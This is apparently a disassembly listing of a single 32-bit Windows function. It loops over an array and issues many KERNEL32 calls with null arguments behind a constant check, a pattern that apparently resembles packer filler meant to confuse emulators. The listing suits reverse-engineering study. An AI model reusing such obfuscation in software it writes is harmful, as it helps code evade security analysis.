sub esp, 0x42c
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x4038a9
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 4], eax
cmp dword [0x4d99f8], 0x959
jne 0x403895
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor eax, eax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 8]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0x402dc8
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0x402e2c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
push esi
push esi
push esi
push esi
push esi
push 0x402e40
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call fcn.004035ea
add ebx, 8
dec dword [ebp - 4]
jne 0x4037dd
pop edi
pop ebx
pop esi
leave
ret